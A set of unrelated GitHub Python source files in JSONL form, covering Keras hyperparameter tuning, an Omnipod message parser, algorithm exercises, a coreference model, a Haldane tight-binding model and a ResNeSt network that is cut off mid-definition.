hp_float_2 = hp.Float('dropout',\n                       min_value=0.0,\n                       max_value=0.5,\n                       default=0.15,\n                       step=0.01)\n    hp_float_3 = hp.Float('dropout',\n                       min_value=0.0,\n                       max_value=0.5,\n                       default=0.15,\n                       step=0.01)\n\n    model.add(Dense(units= hp_units_1,\n                   activation =hp_choice_1,\n                    input_shape = input_shape))\n    \n    model.add(Dropout(hp_float_1))\n\n    model.add(Dense(units= hp_units_2,\n                   activation =hp_choice_2))\n\n    model.add(Dropout(hp_float_2))\n    \n    model.add(Dense(units= hp_units_3,\n                   activation =hp_choice_3))\n    \n    model.add(Dropout(hp_float_3))\n\n    model.add(Dense(1, activation='sigmoid'))\n\n    #Learning rate\n    hp_learning_rate = hp.Choice('learning_rate', values= [0.01, 0.001, 0.001])\n\n    model.compile(optimizer=Adam(learning_rate=hp_learning_rate),\n                 loss = 'binary_crossentropy',\n                 metrics=['accuracy'])\n\n    return model\n\n#For Display\nimport IPython\nclass ClearTrainingOutput(Callback):\n    def on_train_end(*args, **kwargs):\n        IPython.display.clear_output(wait=True)\n\n\ndef hyper_parameter_search(search_type='BO',objective='accuracy', seed=101, \n                           max_trails=10, directory=os.path.normpath('C:/'), \n                           project_name='', max_epochs=10, factor=3, epochs=10,\n                          train_data=(), val_data=()):\n    '''\n    Given the search type this method uses that optimization \n    method from keras tuner and finds the best parameters.\n    and returns the model with the best parameteres. \n    '''\n    search_type = search_type.upper()\n    \n    if search_type == 'BO' or search_type == 'BAYESIANOPTIMIZATION':\n        tuner = kt.BayesianOptimization(model_build,\n                                  objective=objective,\n                                        seed=seed,\n                                  max_trials=max_trails,\n                                   directory=directory,\n                                  project_name=project_name)\n    \n    elif search_type == 'RS' or search_type == 'RANDOMSEARCH':\n        tuner = kt.RandomSearch(model_build,\n                          objective=objective,\n                          seed=seed,\n                          max_trials=max_trails,\n                          directory=directory,\n                            project_name = project_name)\n    \n    elif search_type == 'HB' or search_type == 'HYPERBAND':\n        tuner = kt.Hyperband(model_build,\n                     max_epochs=max_epochs,\n                       objective=objective,\n                       factor=factor,\n                     directory=directory,\n                    project_name=project_name)\n    else:\n        raise ValueError('The requested keras tuner search type doesnot exist\\n')\n    \n    tuner.search(train_data[0], train_data[1], epochs=epochs, \n               validation_data = (val_data[0], val_data[1]),\n               callbacks = [ClearTrainingOutput()], verbose=1)\n    \n    best_hps = tuner.get_best_hyperparameters(num_trials = 1)[0]\n    \n    print(f\"\"\"\n        The hyperparameter search is complete. The optimal units\n        {best_hps.get('units')} and the optimal learning rate is \n        {best_hps.get('learning_rate')} and the optimal dropout\n        {best_hps.get('dropout')} and the optimal activation\n        {best_hps.get('dense_activation')}.\"\"\")\n    model = tuner.hypermodel.build(best_hps)\n    return model\n\n\ndef model_fit( model, train_data =(),val_data=(), monitor='accuracy', patience=3, verbose=2, epochs=50):\n    '''\n    Fits the model to the validation data.\n    '''\n    log_directory = 'tensorboard\\\\fit'\n    \n    board = TensorBoard(log_dir=log_directory,histogram_freq=1,\n    write_graph=True,\n    write_images=True,\n    update_freq='epoch',\n    profile_batch=2,\n    embeddings_freq=1)\n    \n    callback = EarlyStopping(monitor=monitor, patience=patience, verbose=verbose)\n    history = model.fit(train_data[0], train_data[1], epochs=epochs,\n                       validation_data = (val_data[0], val_data[1]),\n                      callbacks = [callback, board], verbose=1,batch_size=128)\n    return history, model","repo_name":"sa616473/lendingCompany","sub_path":"src/models/train_model.py","file_name":"train_model.py","file_ext":"py","file_size_in_byte":7867,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"19409466446","text":"# file: parse_08 - is a request to configure delivery flags for the pod\n#  wiki: https://github.com/openaps/openomni/wiki/\n#                Command-08-Configure-Delivery-Flags\n\nfrom util.misc import combineByte\n\n\ndef parse_08(byteList, msgDict):\n    \"\"\"\n    Command 08 is a special command that can be used at Pod startup to\n    configure a couple of internal delivery flags.\n    This command is has not been seen to be used by the PDM.\n\n    The 08 Configure Delivery Flags command has the following format:\n\n        OFF 1  2 3 4 5  6  7\n        08 06 NNNNNNNN JJ KK\n\n    08 (1 byte) [0]: mtype value of 08 is the Configure Delivery Flags command\n    06 (1 byte) [1]: mlen for this command is always 06\n    NNNNNNNN (4 bytes) [2:5]: the Nonce, 32-bit validator\n    JJ (1 byte) [6]: new Tab5[0x16] value, 0 or 1; Pod default value is 1\n    KK (1 byte) [7]: new Tab5[0x17] value, 0 or 1; Pod default value is 0\n\n    The JJ byte should be set to 00 to override the default Tab5[0x16]\n    value of 1 which will disable the default handling for the\n        $5A, $60, $61, $62, $66, $67, $68, $69, $6A\n    pump conditions during a pulse delivery, so that they will not generate a\n    Pod fault if this condition isn't found to be cleared in a subsequent\n    pulse delivery in the next 30 minutes.\n    (Happened a lot in early Loop testing)\n\n    The KK byte should be set to 00 to keep Tab5[0x17] at its default value (0)\n    If this value is set to 01, the Pod will make a number of adjustments to\n    various internal variables and a countdown timer which are used during\n    the delivery of an immediate bolus.\n    \"\"\"\n    msgDict['msgMeaning'] = 'cnfgDelivFlags'\n    msgDict['nonce'] = hex(combineByte(byteList[2:6]))\n    msgDict['JJ(1)'] = byteList[6]\n    msgDict['KK(0)'] = byteList[7]\n\n    return msgDict\n","repo_name":"marionbarker/OmniLoopMessageParser","sub_path":"parsers/parse_08.py","file_name":"parse_08.py","file_ext":"py","file_size_in_byte":1805,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"16"}
+{"seq_id":"21193057496","text":"\"\"\"\nЗнайдіть кількість входжень заданого числа x до впорядкованого за неспаданням масиву цілих чисел array\n\"\"\"\n\ndef bsearch_rightmost(array, x):\n    left = 0\n    right = len(array)\n    while left < right:\n        m = left + (right - left) // 2\n        if array[m] <= x:\n            left = m + 1\n        else:\n            right = m\n\n    return left - 1\n\ndef binary_search_first(array, elem):\n\tleft = 0\n\tright = len(array) - 1\n\twhile left <= right:\n\t\tmiddle = left + (right - left) // 2\n\t\tif elem > array[middle]:\n\t\t\tleft = middle + 1\n\t\telif elem < array[middle]:\n\t\t\tright = middle - 1\n\t\telse:\n\t\t\treturn middle\n\treturn None\n\ndef counter(array, x):\n    \"\"\" кількість входжень заданого числа.\n    :param array: Масив цілих чисел впорядкований за неспаданням\n    :param x:     Шуканий елемент\n    :return:      Кількість входжень\n    \"\"\"\n\n    if array[bsearch_rightmost(array,x)-1]!=x:\n        return 0\n    return bsearch_rightmost(array,x)-binary_search_first(array,x)+1\n\n\narray = [1, 23, 33, 22, 55 , 1, 22]\nprint(counter(array, 1))","repo_name":"sap2me/algorithms_and_data_structures_knu","sub_path":"2/task_2_7.py","file_name":"task_2_7.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"522118430","text":"#/usr/bin/env python\n#-*- coding:utf-8 -*-\n\nfrom PIL import Image,ImageDraw,ImageFont\nimport random\n\nNum=str(random.randint(1,99))\n\nim=Image.open('github.jpg')\nw,h=im.size\nwDraw = 0.8 * w\nhDraw = 0.2 * h\n\nfont = ImageFont.truetype('Ubuntu-MI.ttf', 50)\ndraw = ImageDraw.Draw(im)\ndraw.text((wDraw,hDraw), Num, font=font, fill=(255,33,33))\n\nim.save('github_1.jpg', 'jpeg')\n","repo_name":"ZeusDong/show-me-the-code","sub_path":"0000.py","file_name":"0000.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"35010051602","text":"from sys import stdin\nfrom itertools import product\n\nl = [x.split(\" \") for x in stdin.read().split(\"\\n\")]\n\nboss_hit_points = int(l[0][2])\nboss_damage = int(l[1][1])\nboss_armor = int(l[2][1])\n\nweapons = [\n    (8, 4, 0),\n    (10, 5, 0),\n    (25, 6, 0),\n    (40, 7, 0),\n    (74, 8, 0)\n]\n\narmor = [\n    (0, 0, 0),  # No Armor\n    (13, 0, 1),\n    (31, 0, 2),\n    (53, 0, 3),\n    (75, 0, 4),\n    (102, 0, 5)\n]\n\nrings = [\n    (0, 0, 0),  # No Ring\n    (25, 1, 0),\n    (50, 2, 0),\n    (100, 3, 0),\n    (20, 0, 1),\n    (40, 0, 2),\n    (80, 0, 3)\n]\n\ncost = lambda x: sum(y[0] for y in x)\n\nequipment_combos = set(product(weapons, armor, rings, rings))\n\n# Filter out the ones where a ring was selected twice\n# equipment_combos -= {x for x in equipment_combos if x[2] != (0, 0, 0) and x[2] == x[3]}\n\n\nprice_ascending = sorted(equipment_combos, key=cost)\n\n\ndef winnable(equipment):\n\n    def game(damage, armor):\n        \n        player_health = 100\n        enemy_health = boss_hit_points\n\n        while player_health > 0:\n            enemy_health -= max(1, damage - boss_armor)\n            if enemy_health <= 0:\n                return True\n\n            player_health -= max(1, boss_damage - armor)\n\n        return False\n\n\n    damage = sum(x[1] for x in equipment)\n    armor = sum(x[2] for x in equipment)\n\n    return game(damage, armor)\n\n\n\n# Part One\nfor gear in price_ascending:\n    if winnable(gear):\n        print(cost(gear))\n        break\n\n\n# Part Two\nprice_descending = price_ascending[::-1]\nfor gear in price_descending:\n    if not winnable(gear):\n        print(cost(gear))\n        break\n","repo_name":"bradendubois/advent-of-code-2015","sub_path":"day21/21.py","file_name":"21.py","file_ext":"py","file_size_in_byte":1580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12770199342","text":"import torch\nfrom torch import nn\nfrom torch import autograd as ag\nfrom torch.nn import functional as F\n\nfrom collections import defaultdict\n\nfrom . import utils, coref\n\n\nclass FFCoref(nn.Module):\n    \"\"\"\n    A component that scores coreference relations based on a one-hot feature vector\n    Architecture: input features -> Linear layer -> tanh -> Linear layer -> score\n    \"\"\"\n\n    # deliverable 3.2\n    def __init__(self, feat_names, hidden_dim):\n        \"\"\"\n        :param feat_names: list of keys to possible pairwise matching features\n        :param hidden_dim: dimension of intermediate layer\n        \"\"\"\n        super(FFCoref, self).__init__()\n\n        # STUDENT\n\n        # self.feature_to_idx = {feat: i for i, feat in enumerate(feat_names)}\n        # self.idx_to_feature = {i: feat for i, feat in enumerate(feat_names)}\n        self.feat_names = feat_names\n        self.net = nn.Sequential(\n            nn.Linear(len(self.feat_names), hidden_dim),\n            nn.Tanh(),\n            nn.Linear(hidden_dim, 1))\n\n        # END STUDENT\n\n    def get_feature_vector_from_feature_map(self, features):\n        return ag.Variable(torch.FloatTensor([features[feature] for feature in self.feat_names]))\n\n    # deliverable 3.2\n    def forward(self, features):\n        \"\"\"\n        :param features: defaultdict of pairwise matching features and their values for some pair\n        :returns: model score\n        :rtype: 1x1 torch Variable\n        \"\"\"\n\n        return self.net(self.get_feature_vector_from_feature_map(features))\n\n    # deliverable 3.3\n    def score_instance(self, markables, feats, i):\n        \"\"\"\n        A function scoring all coref candidates for a given markable\n        Don't forget the new-entity option!\n        :param markables: list of all markables in the document\n        :param i: index of current markable\n        :param feats: feature extraction function\n        :returns: list of scores for all candidates\n        :rtype: ag.Variable of dimensions 1x(i+1)\n        \"\"\"\n\n        scores = ag.Variable(torch.FloatTensor(1, i + 1))\n\n        for ant_index, ant in enumerate(markables[:i + 1]):\n            feature = feats(markables, ant_index, i)\n            score_var = self.forward(feature)\n            scores[0, ant_index] = score_var[0]\n\n        return scores\n\n    # deliverable 3.4\n    def instance_top_scores(self, markables, feats, i, true_antecedent):\n        \"\"\"\n        Find the top-scoring true and false candidates for i in the markable.\n        If no false candidates exist, return (None, None).\n        :param markables: list of all markables in the document\n        :param i: index of current markable\n        :param true_antecedent: gold label for markable\n        :param feats: feature extraction function\n        :returns trues_max: best-scoring true antecedent\n        :returns false_max: best-scoring false antecedent\n        \"\"\"\n        if i == 0 or i == true_antecedent:\n            return None, None\n        else:\n            scores = self.score_instance(markables, feats, i)\n\n            all_trues_indices = torch.LongTensor(\n                [index for index in range(0, i) if markables[index].entity == markables[i].entity])\n            all_false_indices = torch.LongTensor(\n                [index for index in range(0, i) if markables[index].entity != markables[i].entity])\n\n            if not all_trues_indices.shape:\n                all_trues_indices = torch.LongTensor([i])\n\n            if all_trues_indices.shape[0] == i:\n                return None, None\n\n            zero_tensor = torch.LongTensor([0])\n            trues_max_val = torch.max(scores[zero_tensor, all_trues_indices])\n            false_max_val = torch.max(scores[zero_tensor, all_false_indices])\n            return trues_max_val, false_max_val\n\n\ndef train(model, optimizer, markable_set, feats, margin=1.0, epochs=2):\n    _zero = ag.Variable(torch.Tensor([0]))  # this var is reusable\n    model.train()\n    for _ in range(epochs):\n        tot_loss = 0.0\n        instances = 0\n        for doc in markable_set:\n            true_ants = coref.get_true_antecedents(doc)\n            for i in range(len(doc)):\n                max_t, max_f = model.instance_top_scores(doc, feats, i, true_ants[i])\n                if max_t is None: continue\n                marg_tensor = ag.Variable(torch.Tensor([margin]))  # this var is not reusable\n                unhinged_loss = marg_tensor - max_t + max_f\n                loss = torch.max(torch.cat((_zero, unhinged_loss)))\n                tot_loss += utils.to_scalar(loss)\n                optimizer.zero_grad()\n                loss.backward()\n                optimizer.step()\n                instances += 1\n        print(f'Loss = {tot_loss / instances}')\n\n\ndef evaluate(model, markable_set, feats):\n    model.eval()\n    coref.eval_on_dataset(make_resolver(feats, model), markable_set)\n\n\n# helper\ndef make_resolver(features, model):\n    return lambda markables: [utils.argmax(model.score_instance(markables, features, i)) for i in range(len(markables))]\n\n\ndef custom_max(vector, skip_index):\n    \"\"\"\n    Returns the argmax of the autograd vector provided\n    :param vector:\n    :return: argmax, value\n    \"\"\"\n    vec_ft = vector\n    if not (skip_index == 0 or skip_index == vector.shape[1] - 1):\n        vec_ft = torch.cat((vector[0, 0:skip_index], vector[0, skip_index + 1:]), 0)\n    return torch.max(vec_ft)\n","repo_name":"tanmaybinaykiya/CS-7650-Natural-Language","sub_path":"Problem-Set-4/gtnlplib/coref_learning.py","file_name":"coref_learning.py","file_ext":"py","file_size_in_byte":5354,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"23965272059","text":"# subroutine is a sequence of insructions/ code block to perform a specific\n# task with an identifiable name\n# A subroutine does not have a return statement.\n# def is a keyword used to dfine a subroutine, followed by the name of the subroutine\n# It is not executed unless the subroutine is called.\n\n\n\ndef username():\n    uName = input(\"Enter your username: \")\n       \n    print(f\"Your username is {uName}, thanks for joining us. \")\n\nusername()\n    \n    \ndef name():\n    firstName = input(\"Enter your Firstname: \")\n    lastName = input(\"Enter your Lastname: \")\n    age = input(\"Enter your age : \")\n    favMovie = input(\"Enter your favorite Movie : \")\n    print(f\"Hi {firstName} {lastName} and Favorite movie is {favMovie} \")\n\nname()\n\n\n","repo_name":"ianreve/JUST-IT-Training","sub_path":"Python/Week 9/Part 4 Subroutines/1. Subroutine/Subroutine/sub1.py","file_name":"sub1.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"4481604562","text":"#Denna uppgift är inte klar.\n\nwith open(\"uppgift2.txt\", \"r\") as f:\n    a = f.read().split()\ntemp = list(a[0])\ncipher = [int(x) for x in temp]\n\ndef check(input):\n    validnumbers = []\n    for i in range(len(input)-1):\n        listnumbers = []\n        if input[i] != 0:\n            listnumbers.append(input[i])\n            if input[i]*10+input[i+1] <= 29:\n                listnumbers.append(input[i]*10+input[i+1])\n            for i in range(len(listnumbers)):\n                if listnumbers[i] == 10 or listnumbers[i] == 20:\n                    listnumbers.pop(0)\n            validnumbers.append(listnumbers)\n    if input[-1] != 0:\n        listnumbers.append(input[-1])\n        validnumbers.append(listnumbers)\n    return validnumbers\n\ncombinations = check(cipher)\n\nprint(combinations)","repo_name":"OskarBjorklund/Prog2-OB","sub_path":"PO-uppgifter/uppgift2.py","file_name":"uppgift2.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10677618846","text":"'''\n给你一个链表，两两交换其中相邻的节点，并返回交换后链表的头节点。\n你必须在不修改节点内部的值的情况下完成本题（即，只能进行节点交换）。\n'''\n# Definition for singly-linked list.\n# class ListNode(object):\n#     def __init__(self, val=0, next=None):\n#         self.val = val\n#         self.next = next\nclass Solution(object):\n    def swapPairs(self, head):\n        \"\"\"\n        :type head: ListNode\n        :rtype: ListNode\n        \"\"\"\n        if(not head or head.next==None):\n            return head \n\n        dummy = ListNode(-9)\n        \n        pre,cur = dummy,head\n\n        while(cur and cur.next):\n            next = cur.next \n\n            pre.next = next \n            cur.next = next.next \n            next.next = cur \n\n            pre = cur \n            cur = cur.next \n\n\n        return dummy.next\n\n\n\n        # if((head is None) or (head.next is None)):\n        #     return head\n        \n        # next = head.next \n        # head.next = self.swapPairs(next.next)\n        # next.next = head \n\n        # return next\n\n\n\n","repo_name":"burryxie/LeetCode-Python","sub_path":"24- 两两交换链表中的节点.py","file_name":"24- 两两交换链表中的节点.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2905310483","text":"#!/usr/bin/env python3\nimport os\nimport json\n\nusers = os.listdir('metadata')\nprint(\"Building data files...\")\nusers = list(filter(lambda user: os.path.isdir(os.path.join('metadata', user)), users))\nfor user in users:\n    entries = {}\n    current = os.path.join('metadata', user)\n    for item in os.listdir(current):\n        if(item != \"data.json\"):\n            with open(os.path.join(current, item), \"r\") as f:\n                data = json.load(f)\n                entries[os.path.splitext(item)[0]] = data['url']\n    with open(os.path.join(current, \"data.json\"), \"w\") as f:\n        json.dump({'entries': entries}, f, ensure_ascii=False, indent=4)\n    print(user)\nwith open(os.path.join('metadata', 'data.json'), \"w\") as f:\n    json.dump(users, f, ensure_ascii=False, indent=4)\n\nprint(\"Successfully built data files.\")\n","repo_name":"LinwoodDev/dev_doctor-collection","sub_path":"tools/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"16"}
+{"seq_id":"34676677215","text":"#!/usr/bin/env python3\n\"\"\"Convert dictionary of temperature in celcius to fahrenheit\"\"\"\n\nweather_c = {\n        \"Monday\": 12,\n        \"Tuesday\": 14,\n        \"Wednesday\": 15,\n        \"Thursday\": 14,\n        \"Friday\": 21,\n        \"Saturday\": 22,\n        \"Sunday\": 24,\n}\n\nweather_f = {day:round((celcius * 1.8) + 32, 2) for day, celcius in weather_c.items()}\nprint(weather_f)\n","repo_name":"triplee12/100daysofcode","sub_path":"day_26/fahrenheit.py","file_name":"fahrenheit.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"18501984281","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct  1 13:48:16 2018\n\n@author: dominic\n\"\"\"\nimport numpy as np\n\nfrom tightbinding.bravaislattice import honeycombLattice\nfrom tightbinding.tightbindinghamiltonianbuilder import TightBindingHamiltonianBuilder\n\ndef haldaneHoneycombSystem(W,H,t1,t2,M,periodicBoundaryConditions=[]):\n    \"\"\"Returns the underlying lattice and built hamiltonian for a haldane \n    model on a honeycomb lattice of size W x H and nearest neighbor hopping t1, \n    next nearest neighbor hopping t2 (or t2.conj() as appropraite), and \n    sublattice potential M \n    \"\"\"\n    lattice = honeycombLattice(W,H,periodicBoundaryConditions)\n    \n    t2conj = np.conj(t2)\n    \n    hoppingDisplacementList = []\n    hoppingMatrixList = []\n    \n    matrix00 = np.zeros((2,2),dtype=complex)\n    matrix10 = np.zeros((2,2),dtype=complex)\n    matrix01 = np.zeros((2,2),dtype=complex)\n    matrix1m1 = np.zeros((2,2),dtype=complex)\n    \n    hoppingDisplacementList.append(np.array([0,0],dtype=int))\n    matrix00[0][0] = M\n    matrix00[0][1] = t1\n    matrix00[1][0] = t1\n    matrix00[1][1] = -M\n    hoppingMatrixList.append(matrix00)\n    \n    hoppingDisplacementList.append(np.array([1,0],dtype=int))\n    matrix10[0][0] = t2\n    matrix10[0][1] = t1\n    matrix10[1][0] = 0.0\n    matrix10[1][1] = t2conj\n    hoppingMatrixList.append(matrix10)\n    \n    hoppingDisplacementList.append(np.array([0,1],dtype=int))\n    matrix01[0][0] = t2conj\n    matrix01[0][1] = t1\n    matrix01[1][0] = 0.0\n    matrix01[1][1] = t2\n    hoppingMatrixList.append(matrix01)\n    \n    hoppingDisplacementList.append(np.array([1,-1],dtype=int))\n    matrix1m1[0][0] = t2conj\n    matrix1m1[0][1] = 0.0\n    matrix1m1[1][0] = 0.0\n    matrix1m1[1][1] = t2\n    hoppingMatrixList.append(matrix1m1)\n    \n    builder = TightBindingHamiltonianBuilder(lattice,hoppingDisplacementList,hoppingMatrixList)\n    \n    return builder.generateSystem()\n\ndef haldaneHoneycombDisorder(W, H, t1Disorder, t2Disorder, Mdisorder, periodicBoundaryConditions=[], distribution = lambda x: np.random.normal(0,np.absolute(x))):\n    \"\"\"Returns the underlying lattice and built hamiltonian for a haldane \n    model on a honeycomb lattice of size W x H and nearest neighbor disorder t1, \n    next nearest neighbor disorder t2 (or t2.conj() as appropraite), and \n    sublattice potential M \n    \"\"\"\n    lattice = honeycombLattice(W,H,periodicBoundaryConditions)\n    t2Disorderconj = np.conj(t2Disorder)\n    \n    disorderDisplacementList = []\n    disorderMatrixList = []\n    \n    Dmatrix00 = np.zeros((2,2),dtype=complex)\n    Dmatrix10 = np.zeros((2,2),dtype=complex)\n    Dmatrix01 = np.zeros((2,2),dtype=complex)\n    Dmatrix11 = np.zeros((2,2),dtype=complex)\n    \n    disorderDisplacementList.append([0,0])\n    Dmatrix00[0][0] = Mdisorder\n    Dmatrix00[0][1] = t1Disorder\n    Dmatrix00[1][0] = t1Disorder\n    Dmatrix00[1][1] = -Mdisorder\n    disorderMatrixList.append(Dmatrix00)\n    \n    disorderDisplacementList.append([1,0])\n    Dmatrix10[0][0] = t2Disorder\n    Dmatrix10[0][1] = 0.0\n    Dmatrix10[1][0] = t1Disorder\n    Dmatrix10[1][1] = t2Disorderconj\n    disorderMatrixList.append(Dmatrix10)\n    \n    disorderDisplacementList.append([0,1])\n    Dmatrix01[0][0] = t2Disorderconj\n    Dmatrix01[1][0] = t1Disorder\n    Dmatrix01[0][1] = 0.0\n    Dmatrix01[1][1] = t2Disorder\n    disorderMatrixList.append(Dmatrix01)\n    \n    disorderDisplacementList.append([1,-1])\n    Dmatrix11[0][0] = t2Disorderconj\n    Dmatrix11[0][1] = 0.0\n    Dmatrix11[1][0] = 0.0\n    Dmatrix11[1][1] = t2Disorder\n    disorderMatrixList.append(Dmatrix11)\n    \n    builder = TightBindingHamiltonianBuilder(lattice,disorderDisplacementList,disorderMatrixList,distribution)\n    \n    return builder.generateSystem()","repo_name":"doreiss/topcondmat_python_ucla","sub_path":"tightbinding/tightbinding/models/haldane.py","file_name":"haldane.py","file_ext":"py","file_size_in_byte":3717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22858148578","text":"# The implementation is adopted from Split-Attention Network, A New ResNet Variant,\n# made pubicly available under the Apache License 2.0 License\n# at https://github.com/zhanghang1989/ResNeSt/blob/master/resnest/torch/models/resnet.py\nimport math\n\nimport torch\nimport torch.nn as nn\n\nfrom .splat import SplAtConv2d\n\n__all__ = ['ResNet', 'Bottleneck']\n\n\nclass DropBlock2D(object):\n\n    def __init__(self, *args, **kwargs):\n        raise NotImplementedError\n\n\nclass GlobalAvgPool2d(nn.Module):\n\n    def __init__(self):\n        \"\"\"Global average pooling over the input's spatial dimensions\"\"\"\n        super(GlobalAvgPool2d, self).__init__()\n\n    def forward(self, inputs):\n        return nn.functional.adaptive_avg_pool2d(inputs,\n                                                 1).view(inputs.size(0), -1)\n\n\nclass Bottleneck(nn.Module):\n    expansion = 4\n\n    def __init__(self,\n                 inplanes,\n                 planes,\n                 stride=1,\n                 downsample=None,\n                 radix=1,\n                 cardinality=1,\n                 bottleneck_width=64,\n                 avd=False,\n                 avd_first=False,\n                 dilation=1,\n                 is_first=False,\n                 rectified_conv=False,\n                 rectify_avg=False,\n                 norm_layer=None,\n                 dropblock_prob=0.0,\n                 last_gamma=False):\n        super(Bottleneck, self).__init__()\n        group_width = int(planes * (bottleneck_width / 64.)) * cardinality\n        self.conv1 = nn.Conv2d(\n            inplanes, group_width, kernel_size=1, bias=False)\n        self.bn1 = norm_layer(group_width)\n        self.dropblock_prob = dropblock_prob\n        self.radix = radix\n        self.avd = avd and (stride > 1 or is_first)\n        self.avd_first = avd_first\n\n        if self.avd:\n            self.avd_layer = nn.AvgPool2d(3, stride, padding=1)\n            stride = 1\n\n        if dropblock_prob > 0.0:\n            self.dropblock1 = DropBlock2D(dropblock_prob, 3)\n            if radix == 1:\n                self.dropblock2 = DropBlock2D(dropblock_prob, 3)\n            self.dropblock3 = DropBlock2D(dropblock_prob, 3)\n\n        if radix >= 1:\n            self.conv2 = SplAtConv2d(\n                group_width,\n                group_width,\n                kernel_size=3,\n                stride=stride,\n                padding=dilation,\n                dilation=dilation,\n                groups=cardinality,\n                bias=False,\n                radix=radix,\n                rectify=rectified_conv,\n                rectify_avg=rectify_avg,\n                norm_layer=norm_layer,\n                dropblock_prob=dropblock_prob)\n        elif rectified_conv:\n            self.conv2 = nn.Conv2d(\n                group_width,\n                group_width,\n                kernel_size=3,\n                stride=stride,\n                padding=dilation,\n                dilation=dilation,\n                groups=cardinality,\n                bias=False)\n            self.bn2 = norm_layer(group_width)\n        else:\n            self.conv2 = nn.Conv2d(\n                group_width,\n                group_width,\n                kernel_size=3,\n                stride=stride,\n                padding=dilation,\n                dilation=dilation,\n                groups=cardinality,\n                bias=False)\n            self.bn2 = norm_layer(group_width)\n\n        self.conv3 = nn.Conv2d(\n            group_width, planes * 4, kernel_size=1, bias=False)\n        self.bn3 = norm_layer(planes * 4)\n\n        if last_gamma:\n            from torch.nn.init import zeros_\n            zeros_(self.bn3.weight)\n        self.relu = nn.ReLU(inplace=True)\n        self.downsample = downsample\n        self.dilation = dilation\n        self.stride = stride\n\n    def forward(self, x):\n        residual = x\n\n        out = self.conv1(x)\n        out = self.bn1(out)\n        if self.dropblock_prob > 0.0:\n            out = self.dropblock1(out)\n        out = self.relu(out)\n\n        if self.avd and self.avd_first:\n            out = self.avd_layer(out)\n\n        out = self.conv2(out)\n        if self.radix == 0:\n            out = self.bn2(out)\n            if self.dropblock_prob > 0.0:\n                out = self.dropblock2(out)\n            out = self.relu(out)\n\n        if self.avd and not self.avd_first:\n            out = self.avd_layer(out)\n\n        out = self.conv3(out)\n        out = self.bn3(out)\n        if self.dropblock_prob > 0.0:\n            out = self.dropblock3(out)\n\n        if self.downsample is not None:\n            residual = self.downsample(x)\n\n        out += residual\n        out = self.relu(out)\n\n        return out\n\n\nclass ResNet(nn.Module):\n\n    def __init__(self,\n                 block,\n                 layers,\n                 radix=1,\n                 groups=1,\n                 bottleneck_width=64,\n                 num_classes=1000,\n                 dilated=False,\n                 dilation=1,\n                 deep_stem=False,\n                 stem_width=64,\n                 avg_down=False,\n                 rectified_conv=False,\n                 rectify_avg=False,\n                 avd=False,\n                 avd_first=False,\n                 final_drop=0.0,\n                 dropblock_prob=0,\n                 last_gamma=False,\n                 norm_layer=nn.BatchNorm2d):\n        self.cardinality = groups\n        self.bottleneck_width = bottleneck_width\n        # ResNet-D params\n        self.inplanes = stem_width * 2 if deep_stem else 64\n        self.avg_down = avg_down\n        self.last_gamma = last_gamma\n        # ResNeSt params\n        self.radix = radix\n        self.avd = avd\n        self.avd_first = avd_first\n\n        super(ResNet, self).__init__()\n        self.rectified_conv = rectified_conv\n        self.rectify_avg = rectify_avg\n        if rectified_conv:\n            conv_layer = nn.Conv2d\n        else:\n            conv_layer = nn.Conv2d\n        conv_kwargs = {'average_mode': rectify_avg} if rectified_conv else {}\n        if deep_stem:\n            self.conv1 = nn.Sequential(\n                conv_layer(\n                    3,\n                    stem_width,\n                    kernel_size=3,\n                    stride=2,\n                    padding=1,\n                    bias=False,\n                    **conv_kwargs),\n                norm_layer(stem_width),\n                nn.ReLU(inplace=True),\n                conv_layer(\n                    stem_width,\n                    stem_width,\n                    kernel_size=3,\n                    stride=1,\n                    padding=1,\n                    bias=False,\n                    **conv_kwargs),\n                norm_layer(stem_width),\n                nn.ReLU(inplace=True),\n                conv_layer(\n                    stem_width,\n                    stem_width * 2,\n                    kernel_size=3,\n                    stride=1,\n                    padding=1,\n                    bias=False,\n                    **conv_kwargs),\n            )\n        else:\n            self.conv1 = conv_layer(\n                3,\n                64,\n                kernel_size=7,\n                stride=2,\n                padding=3,\n                bias=False,\n                **conv_kwargs)\n        self.bn1 = norm_layer(self.inplanes)\n        self.relu = nn.ReLU(inplace=True)\n        self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)\n        self.layer1 = self._make_layer(\n            block, 64, layers[0], norm_layer=norm_layer, is_first=False)\n        self.layer2 = self._make_layer(\n            block, 128, layers[1], stride=2, norm_layer=norm_layer)\n        if dilated or dilation == 4:\n            self.layer3 = self._make_layer(\n                block,\n                256,\n                layers[2],\n                stride=1,\n                dilation=2,\n                norm_layer=norm_layer,\n                dropblock_prob=dropblock_prob)\n            self.layer4 = self._make_layer(\n                block,\n                512,\n                layers[3],\n                stride=1,\n                dilation=4,\n                norm_layer=norm_layer,\n                dropblock_prob=dropblock_prob)\n        elif dilation == 2:\n            self.layer3 = self._make_layer(\n                block,\n                256,\n                layers[2],\n                stride=2,\n                dilation=1,\n                norm_layer=norm_layer,\n                